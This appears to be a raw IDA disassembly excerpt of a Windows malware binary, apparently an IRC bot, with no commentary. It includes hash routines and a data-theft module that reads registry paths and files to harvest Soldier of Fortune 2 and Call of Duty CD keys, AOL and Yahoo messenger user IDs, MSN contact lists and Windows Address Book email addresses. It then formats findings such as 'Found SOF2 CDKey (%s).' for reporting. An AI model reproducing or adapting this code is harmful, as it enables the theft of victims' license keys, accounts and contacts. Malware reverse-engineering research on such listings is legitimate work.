shl eax, 0Fh
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_C]
lea edx, [edx+eax+4E0811A1h]
mov eax, edx
shl eax, 15h
shr edx, 0Bh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_30]
lea edi, [edi+edx-8AC817Eh]
mov edx, edi
shr edx, 1Ah
shl edi, 6
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_14]
lea ebx, [ebx+edi-42C50DCBh]
mov edi, ebx
shr edi, 16h
shl ebx, 0Ah
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
push 40h
xor ebx, edx
push 0
add ebx, [esp+64h+var_38]
lea ecx, [ecx+ebx+2AD7D2BBh]
mov ebx, ecx
shr ebx, 11h
shl ecx, 0Fh
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, ebp
mov ebp, [esi+8]
add ebp, ebx
lea eax, [eax+ecx-14792C6Fh]
mov ecx, [esi]
add ecx, edx
mov edx, eax
shl edx, 15h
shr eax, 0Bh
or edx, eax
mov eax, [esi+4]
add edx, ebx
mov ebx, [esi+0Ch]
add eax, edx
add ebx, edi
mov [esi+4], eax
lea eax, [esp+64h+var_40]
push eax
mov [esi], ecx
mov [esi+8], ebp
mov [esi+0Ch], ebx
call sub_434770
add esp, 18h
pop edi
pop esi
pop ebp
pop ebx
add esp, 40h
retn
sub_433AB0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434660 proc near ; CODE XREF: sub_433A20+14p
; sub_433A20+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
mov edi, [esp+4+arg_8]
test edi, edi
jbe short loc_4346A7
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
push esi
or esi, 0FFFFFFFFh
lea eax, [edx+1]
sub esi, edx
loc_43467A: ; CODE XREF: sub_434660+44j
mov dl, [ecx]
add ecx, 4
mov [eax-1], dl
mov edx, [ecx-4]
shr edx, 8
mov [eax], dl
mov edx, [ecx-4]
shr edx, 10h
mov [eax+1], dl
mov edx, [ecx-4]
shr edx, 18h
mov [eax+2], dl
add eax, 4
lea edx, [esi+eax]
cmp edx, edi
jb short loc_43467A
pop esi
loc_4346A7: ; CODE XREF: sub_434660+7j
pop edi
retn
sub_434660 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4346D0 proc near ; CODE XREF: sub_433AB0+26p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
mov ebp, [esp+4+arg_8]
test ebp, ebp
jbe short loc_43471A
mov ecx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, 0FFFFFFFEh
lea eax, [ecx+2]
sub edi, ecx
loc_4346ED: ; CODE XREF: sub_4346D0+46j
xor ecx, ecx
xor edx, edx
mov ch, [eax+1]
mov dl, [eax-1]
mov cl, [eax]
add eax, 4
shl ecx, 8
or ecx, edx
xor edx, edx
mov dl, [eax-6]
add esi, 4
shl ecx, 8
or ecx, edx
mov [esi-4], ecx
lea ecx, [edi+eax]
cmp ecx, ebp
jb short loc_4346ED
pop edi
pop esi
loc_43471A: ; CODE XREF: sub_4346D0+7j
pop ebp
retn
sub_4346D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434740 proc near ; CODE XREF: sub_433940+4Ep
; sub_433940+9Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
test esi, esi
jbe short loc_43475C
mov eax, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
sub ecx, eax
loc_434753: ; CODE XREF: sub_434740+1Aj
mov dl, [ecx+eax]
mov [eax], dl
inc eax
dec esi
jnz short loc_434753
loc_43475C: ; CODE XREF: sub_434740+7j
pop esi
retn
sub_434740 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434770 proc near ; CODE XREF: sub_433A20+60p
; sub_433AB0+932p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
test ecx, ecx
jbe short locret_43479E
mov al, [esp+arg_4]
push ebx
mov bl, al
mov edx, ecx
mov bh, bl
push edi
mov edi, [esp+8+arg_0]
mov eax, ebx
shl eax, 10h
mov ax, bx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
pop edi
pop ebx
locret_43479E: ; CODE XREF: sub_434770+6j
retn
sub_434770 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4347B0 proc near ; CODE XREF: sub_401C0Dj
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4347B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 0Bh
push 3
push 4Fh
push 14h
push 5
lea eax, [esp+58h+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+40h+var_3C]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_401226
push 0
push 0Dh
push 4Fh
push 14h
push 5
lea edx, [esp+54h+var_24]
push 7
push edx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 1
call sub_4017E4
add esi, 32h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+40h+var_24]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+40h+var_C]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_4347B0 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4348A0: ; CODE XREF: ___:loc_401F1Ej
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43BDF6
push eax
mov eax, 16D4h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
push esi
mov esi, [esp+16F0h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_434E5E
push 80h
mov dword ptr [esp+1Ch], 800h
nop
call near ptr 77C2C407h
add esp, 4
mov ebp, eax
lea eax, [esp+64h]
mov ecx, esi
push offset asc_443600 ; " "
push 1
push eax
call sub_4016AE
push 800h
mov dword ptr [esp+16F0h], 0
call sub_4367FA
mov ebx, dword_50F724
add esp, 4
mov edi, eax
mov ecx, 200h
xor eax, eax
mov dword_50E3F8, edi
rep stosd
mov esi, offset dword_4457C4
loc_434946: ; CODE XREF: ___:00434C16j
mov ecx, [esi-4]
push ecx
lea ecx, [esp+50h]
call sub_401861
lea ecx, [esp+64h]
mov byte ptr [esp+16ECh], 1
call sub_4014D3
mov edi, dword_50FB1C
push eax
call edi ; dword_50FB1C
add esp, 4
lea ecx, [esp+4Ch]
push eax
call sub_4014D3
push eax
call edi ; dword_50FB1C
add esp, 4
push eax
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz loc_434BFC
cmp dword ptr [esi], 80000001h
jz loc_434A39
mov edx, [esi+4]
push edx
push offset aS ; "%s"
push ebp
nop
call sub_5EA1BD
mov ecx, 200h
xor eax, eax
lea edi, [esp+6F0h]
add esp, 0Ch
rep stosd
mov ecx, 100h
mov edi, offset dword_50E3FC
rep stosd
mov eax, dword_50E3F8
lea ecx, [esp+18h]
lea edx, [esp+6E4h]
push ecx
mov dword ptr [eax], 0
mov eax, [esi+8]
push edx
push 0
push 0
push eax
push 0
call ebx ; dword_50F724
test eax, eax
jnz short loc_434A31
mov edx, [esi-4]
mov edi, [esp+16F4h]
lea ecx, [esp+6E4h]
push ecx
push edx
push offset aSS_6 ; "%s: %s"
lea ecx, [edi+69h]
call sub_4014D3
mov cl, [edi+93h]
push eax
mov al, [edi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
loc_434A31: ; CODE XREF: ___:004349F3j
push 0
call near ptr 2910000h
nop
loc_434A39: ; CODE XREF: ___:00434998j
mov edx, [esi]
cmp edx, 80000001h
jnz loc_434BFC
mov al, byte_446F60
mov ecx, 40h
mov [esp+0E0h], al
xor eax, eax
lea edi, [esp+0E1h]
mov dword ptr [esp+28h], 104h
rep stosd
stosw
stosb
lea ecx, [esp+44h]
lea eax, [esp+30h]
push ecx
push eax
lea ecx, [esp+48h]
lea eax, [esp+40h]
push ecx
push eax
lea ecx, [esp+3Ch]
lea eax, [esp+44h]
push ecx
push eax
lea ecx, [esp+54h]
lea eax, [esp+2Ch]
push ecx
push eax
lea ecx, [esp+48h]
push 0
lea eax, [esp+104h]
push ecx
push eax
push edx
mov dword ptr [esp+44h], 0
nop
call near ptr 28C0000h
mov eax, [esp+14h]
test eax, eax
jz loc_434BFC
xor edi, edi
test eax, eax
mov [esp+24h], edi
jbe loc_434BFC
loc_434ACE: ; CODE XREF: ___:00434BF6j
lea ecx, [esp+44h]
lea edx, [esp+20h]
push ecx
push 0
push 0
push 0
lea eax, [esp+0EF4h]
push edx
push eax
push edi
push 80000003h
mov dword ptr [esp+40h], 800h
nop
call near ptr 28D0000h
test eax, eax
jnz loc_434BEB
mov ecx, [esi+4]
lea edx, [esp+0EE4h]
push ecx
push edx
push offset dword_443684
push ebp
mov [esp+20h], eax
call sub_5EA1BD
nop
mov ecx, 200h
xor eax, eax
lea edi, [esp+6F4h]
add esp, 10h
rep stosd
mov ecx, 100h
mov edi, offset dword_50E3FC
rep stosd
lea eax, [esp+10h]
push eax
push 20019h
push 0
push ebp
push 80000003h
call near ptr 2940000h
nop
mov eax, [esi+8]
lea ecx, [esp+18h]
lea edx, [esp+6E4h]
push ecx
mov ecx, [esp+14h]
push edx
push 0
push 0
push eax
push ecx
call ebx ; dword_50F724
test eax, eax
jz short loc_434B80
mov edx, [esp+10h]
push edx
call near ptr 2910000h
nop
loc_434B80: ; CODE XREF: ___:00434B73j
mov edx, [esi+8]
lea eax, [esp+18h]
lea ecx, [esp+6E4h]
push eax
mov eax, [esp+14h]
push ecx
push 0
push 0
push edx
push eax
call ebx ; dword_50F724
test eax, eax
jnz short loc_434BDC
mov edx, [esi-4]
mov edi, [esp+16F4h]
lea ecx, [esp+6E4h]
push ecx
push edx
push offset aSS_6 ; "%s: %s"
lea ecx, [edi+69h]
call sub_4014D3
mov cl, [edi+93h]
push eax
mov al, [edi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
loc_434BDC: ; CODE XREF: ___:00434B9Ej
mov edx, [esp+10h]
push edx
nop
call near ptr 2910000h
mov edi, [esp+24h]
loc_434BEB: ; CODE XREF: ___:00434AFCj
mov eax, [esp+14h]
inc edi
cmp edi, eax
mov [esp+24h], edi
jb loc_434ACE
loc_434BFC: ; CODE XREF: ___:0043498Cj
; ___:00434A41j ...
lea ecx, [esp+4Ch]
mov byte ptr [esp+16ECh], 0
call sub_401226
add esi, 10h
cmp esi, offset dword_445A14
jb loc_434946
mov ebp, dword_50F75C
lea eax, [esp+1Ch]
push eax
push 20019h
push 0
push offset aSoftwareActivi ; "Software\\Activision\\Soldier of Fortune "...
push 80000002h
mov dword ptr [esp+30h], 0
mov dword ptr [esp+2Ch], 80h
call ebp ; dword_50F75C
mov eax, [esp+1Ch]
lea ecx, [esp+18h]
lea edx, [esp+2E4h]
push ecx
push edx
push 0
push 0
push offset aInstallpath ; "InstallPath"
push eax
call ebx ; dword_50F724
test eax, eax
jnz loc_434D30
push 104h
nop
call near ptr 77C2C407h
add esp, 4
lea ecx, [esp+2E4h]
mov esi, eax
push offset aSof2key ; "sof2key"
push ecx
push offset aSBaseMpS ; "%s\\base\\mp\\%s"
push esi
nop
call sub_5EA1BD
push offset dword_443E7C
push esi
nop
call near ptr 77C3F010h
mov edi, eax
add esp, 18h
test edi, edi
jz short loc_434D22
push edi
lea edx, [esp+80h]
push 64h
push edx
call near ptr 77C40BB1h
nop
add esp, 0Ch
test eax, eax
jz short loc_434D18
lea eax, [esp+7Ch]
push offset aMtkwftmkemfew3 ; "mtkwftmkemfew3p3b7"
push eax
call near ptr 77C47C60h
nop
add esp, 8
test eax, eax
jnz short loc_434D18
mov edx, [esp+16F4h]
lea ecx, [esp+7Ch]
push ecx
push offset aFoundSof2Cdkey ; "Found SOF2 CDKey (%s)."
lea ecx, [edx+69h]
call sub_4014D3
push eax
mov eax, [esp+1700h]
mov cl, [eax+94h]
mov dl, [eax+93h]
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_434D18: ; CODE XREF: ___:00434CC3j
; ___:00434CDAj
push edi
nop
call near ptr 77C40AB1h
add esp, 4
loc_434D22: ; CODE XREF: ___:00434CABj
test esi, esi
jz short loc_434D30
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
loc_434D30: ; CODE XREF: ___:00434C69j
; ___:00434D24j
mov eax, [esp+1Ch]
push eax
call near ptr 2910000h
nop
lea ecx, [esp+1Ch]
mov dword ptr [esp+18h], 80h
push ecx
push 20019h
push 0
push offset aSoftwareActi_0 ; "Software\\Activision\\Call of Duty"
push 80000002h
call ebp ; dword_50F75C
mov ecx, [esp+1Ch]
lea edx, [esp+18h]
lea eax, [esp+2E4h]
push edx
push eax
push 0
push 0
push offset aInstallpath ; "InstallPath"
push ecx
call ebx ; dword_50F724
test eax, eax
jnz loc_434E3A
push 104h
nop
call near ptr 77C2C407h
add esp, 4
lea edx, [esp+2E4h]
mov esi, eax
push offset aCodkey ; "codkey"
push edx
push offset aSMainS ; "%s\\main\\%s"
push esi
nop
call sub_5EA1BD
push offset dword_443E7C
push esi
nop
call near ptr 77C3F010h
mov edi, eax
add esp, 18h
test edi, edi
jz short loc_434E2C
push edi
lea eax, [esp+80h]
push 64h
push eax
nop
call near ptr 77C40BB1h
add esp, 0Ch
test eax, eax
jz short loc_434E22
lea ecx, [esp+7Ch]
push offset aTsh3xswtypwguu ; "TSH3XSWTYPWGUUTXE660"
push ecx
call near ptr 77C47C60h
nop
add esp, 8
test eax, eax
jnz short loc_434E22
mov ebx, [esp+16F4h]
lea edx, [esp+7Ch]
push edx
push offset aFoundCodCdkeyS ; "Found COD CDKey (%s)."
lea ecx, [ebx+69h]
call sub_4014D3
mov cl, [ebx+93h]
push eax
mov al, [ebx+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_434E22: ; CODE XREF: ___:00434DD4j
; ___:00434DEBj
push edi
call near ptr 77C40AB1h
nop
add esp, 4
loc_434E2C: ; CODE XREF: ___:00434DBCj
test esi, esi
jz short loc_434E3A
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_434E3A: ; CODE XREF: ___:00434D7Aj
; ___:00434E2Ej
mov edx, [esp+1Ch]
push edx
call near ptr 2910000h
nop
lea ecx, [esp+64h]
mov dword ptr [esp+16ECh], 0FFFFFFFFh
call sub_401226
jmp loc_434FE2
; ---------------------------------------------------------------------------
loc_434E5E: ; CODE XREF: ___:004348E1j
lea ecx, [edi+32h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_434FE2
lea eax, [esp+10h]
push eax
push 0F003Fh
push 0
push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"...
push 80000001h
nop
call near ptr 2940000h
test eax, eax
jnz loc_434FE2
mov ecx, 40h
lea edi, [esp+1E4h]
rep stosd
lea ecx, [esp+14h]
lea edx, [esp+1E4h]
push ecx
mov ecx, [esp+14h]
lea eax, [esp+24h]
push edx
push eax
push 0
push offset dword_446938
push ecx
mov dword ptr [esp+2Ch], 100h
nop
call near ptr 28F0000h
test eax, eax
jz short loc_434EE8
mov edx, [esp+10h]
push edx
nop
call near ptr 2910000h
jmp loc_434FE2
; ---------------------------------------------------------------------------
loc_434EE8: ; CODE XREF: ___:00434ED6j
mov eax, [esp+14h]
mov ecx, [esp+10h]
mov ebp, dword_50F738
push ecx
mov byte ptr [esp+eax+1E8h], 0
call ebp ; dword_50F738
lea edx, [esp+1E4h]
lea ebx, [esi+69h]
push edx
push offset dword_44692C
mov ecx, ebx
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 18h
lea edx, [esp+10h]
push edx
push 0F003Fh
push 0
push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
push 80000001h
nop
call near ptr 2940000h
test eax, eax
jnz loc_434FE2
mov ecx, 40h
lea edi, [esp+0E0h]
rep stosd
lea eax, [esp+14h]
lea ecx, [esp+0E0h]
push eax
mov eax, [esp+14h]
lea edx, [esp+24h]
push ecx
push edx
push 0
push offset aYahooUserId ; "Yahoo! User ID"
push eax
mov dword ptr [esp+2Ch], 100h
nop
call near ptr 28F0000h
test eax, eax
jz short loc_434F9F
mov ecx, [esp+10h]
push ecx
call ebp ; dword_50F738
jmp short loc_434FE2
; ---------------------------------------------------------------------------
loc_434F9F: ; CODE XREF: ___:00434F94j
mov edx, [esp+14h]
mov eax, [esp+10h]
push eax
mov byte ptr [esp+edx+1E8h], 0
call ebp ; dword_50F738
lea ecx, [esp+0E0h]
push ecx
push offset aYahooS ; "yahoo: %s"
mov ecx, ebx
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_434FE2: ; CODE XREF: ___:00434E59j
; ___:00434E70j ...
mov ecx, [esp+16E4h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 16E0h
retn 4
; ---------------------------------------------------------------------------
db 90h
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4351E0 proc near ; CODE XREF: sub_4016F4j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4351E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 4Fh
push 14h
push 5
lea eax, [esp+3Ch+var_24]
push 7
mov esi, ecx
push eax
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017E4
add esi, 4
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+28h+var_24]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+28h+var_C]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
sub_4351E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_435280: ; CODE XREF: ___:loc_401FD7j
sub esp, 6CCh
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4017E4
mov ebp, [esp+6E0h]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_43551E
lea eax, [esp+14h]
mov dword ptr [esp+20h], 320h
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
push 80000001h
call near ptr 2940000h
nop
mov eax, [esp+14h]
test eax, eax
jz loc_43551E
lea ecx, [esp+20h]
lea edx, [esp+1D8h]
push ecx
push edx
push 0
push 0
push offset byte_446F60
push eax
call near ptr 28F0000h
nop
mov eax, [esp+14h]
push eax
nop
call near ptr 2910000h
push 0
push 80h
push 4
push 0
push 1
lea ecx, [esp+1ECh]
push 80000000h
push ecx
nop
call near ptr 2870000h
push 0
push 0
push 0
mov edi, eax
push 2
push 0
push edi
mov [esp+34h], edi
nop
call near ptr 2720000h
mov ebx, eax
test ebx, ebx
mov [esp+24h], ebx
jnz short loc_435359
push edi
nop
call near ptr 2850000h
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_435359: ; CODE XREF: ___:00435341j
push 0
push 0
push 0
push 4
push ebx
call near ptr 27205C4h
nop
mov esi, eax
test esi, esi
jnz short loc_435389
mov esi, dword_50F8D8
push ebx
call esi ; dword_50F8D8
push edi
call esi ; dword_50F8D8
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_435389: ; CODE XREF: ___:0043536Cj
xor edx, edx
xor eax, eax
mov dh, [esi+63h]
mov ah, [esi+61h]
mov dl, [esi+62h]
and eax, 0FFFFh
movsx ecx, byte ptr [esi+64h]
shl edx, 10h
or edx, eax
xor eax, eax
mov al, [esi+60h]
or edx, eax
mov eax, ecx
shl eax, 4
add eax, ecx
shl eax, 2
test eax, eax
jle short loc_435428
lea ecx, [eax+43h]
mov eax, 0F0F0F0F1h
lea edi, [edx+esi]
mul ecx
mov ebx, edx
shr ebx, 6
loc_4353CB: ; CODE XREF: ___:0043541Ej
xor eax, eax
mov ecx, edi
loc_4353CF: ; CODE XREF: ___:004353DFj
mov dl, [ecx]
add ecx, 2
mov [esp+eax+0ACh], dl
inc eax
cmp eax, 44h
jle short loc_4353CF
lea eax, [esp+0ACh]
lea ecx, [ebp+69h]
push eax
push offset aFoundEmailS_ ; "Found EMail (%s)."
mov byte ptr [esp+0F8h], 0
call sub_4014D3
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 18h
add edi, 44h
dec ebx
jnz short loc_4353CB
mov ebx, [esp+24h]
mov edi, [esp+1Ch]
loc_435428: ; CODE XREF: ___:004353B7j
push edi
mov edi, dword_50F8D8
call edi ; dword_50F8D8
push esi
call near ptr 2720828h
nop
push ebx
call edi ; dword_50F8D8
lea eax, [esp+18h]
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
push 80000001h
nop
call near ptr 2940000h
test eax, eax
jnz loc_43551E
mov ebx, off_50FBF0
mov dword ptr [esp+10h], 400h
mov dword ptr [esp+28h], 3
xor esi, esi
loc_435477: ; CODE XREF: ___:0043550Ej
mov ecx, 20h
xor eax, eax
lea edi, [esp+2Ch]
push esi
rep stosd
lea ecx, [esp+30h]
push offset aAllowD ; "Allow%d"
push ecx
call ebx ; sub_5EA1BD
mov ecx, 100h
xor eax, eax
lea edi, [esp+2E8h]
add esp, 0Ch
rep stosd
lea edx, [esp+10h]
lea eax, [esp+2DCh]
push edx
lea ecx, [esp+2Ch]
push eax
mov eax, [esp+20h]
push ecx
lea edx, [esp+38h]
push 0
push edx
push eax
inc esi
mov dword ptr [esp+28h], 400h
call near ptr 28F0000h
nop
test eax, eax
jnz short loc_435513
lea ecx, [esp+2DCh]
push ecx
push offset aMsnS ; "msn: %s"
lea ecx, [ebp+69h]
call sub_4014D3
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
push 64h
nop
call near ptr 28402DAh
jmp loc_435477
; ---------------------------------------------------------------------------
loc_435513: ; CODE XREF: ___:004354D3j
mov ecx, [esp+18h]
push ecx
call near ptr 2910000h
nop
loc_43551E: ; CODE XREF: ___:004352A4j
; ___:004352D4j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 0B0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4355E0 proc near ; CODE XREF: sub_401E47j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4355E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 7
push 5
push 12h
push 4Fh
push 14h
push 5
lea eax, [esp+5Ch+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_401681
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+40h+var_3C]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_401226
push 0
push 0Bh
push 17h
push 4Fh
push 14h
push 5
lea edx, [esp+58h+var_24]
push 7
push edx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 1
call sub_401681
add esi, 32h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+40h+var_24]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+40h+var_C]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_4355E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4356F0 proc near ; CODE XREF: sub_401E4Cj
var_135 = byte ptr -135h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = byte ptr -124h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4356F0
push eax
mov large fs:0, esp
sub esp, 12Ch
push ebx
push esi
mov esi, [esp+140h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_435BC7
push ebp
xor ebp, ebp
push ebp
push offset asc_443600 ; " "
lea eax, [esp+150h+var_128]
push 1
push eax
mov ecx, esi
mov [esp+158h+var_134], ebp
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], ebp
push ecx
push 20019h
push ebp
mov ecx, eax
call sub_4017E4
mov edi, dword_50F75C
push eax
push 80000001h
call edi ; dword_50F75C
or ebx, 0FFFFFFFFh
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push ebp
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push ebp
push ebp
mov ecx, eax
mov dword ptr [esp+154h], 1
call sub_4017E4
mov ebp, dword_50F724
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp ; dword_50F724
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_43581C
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_446BBB+1)
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_43581C: ; CODE XREF: sub_4356F0+FCj
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2910000h
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 2
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000002h
call edi ; dword_50F75C
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 3
call sub_4017E4
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp ; dword_50F724
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_435904
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_446BAF+1)
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_435904: ; CODE XREF: sub_4356F0+1E4j
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2910000h
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 4
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000005h
call edi ; dword_50F75C
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
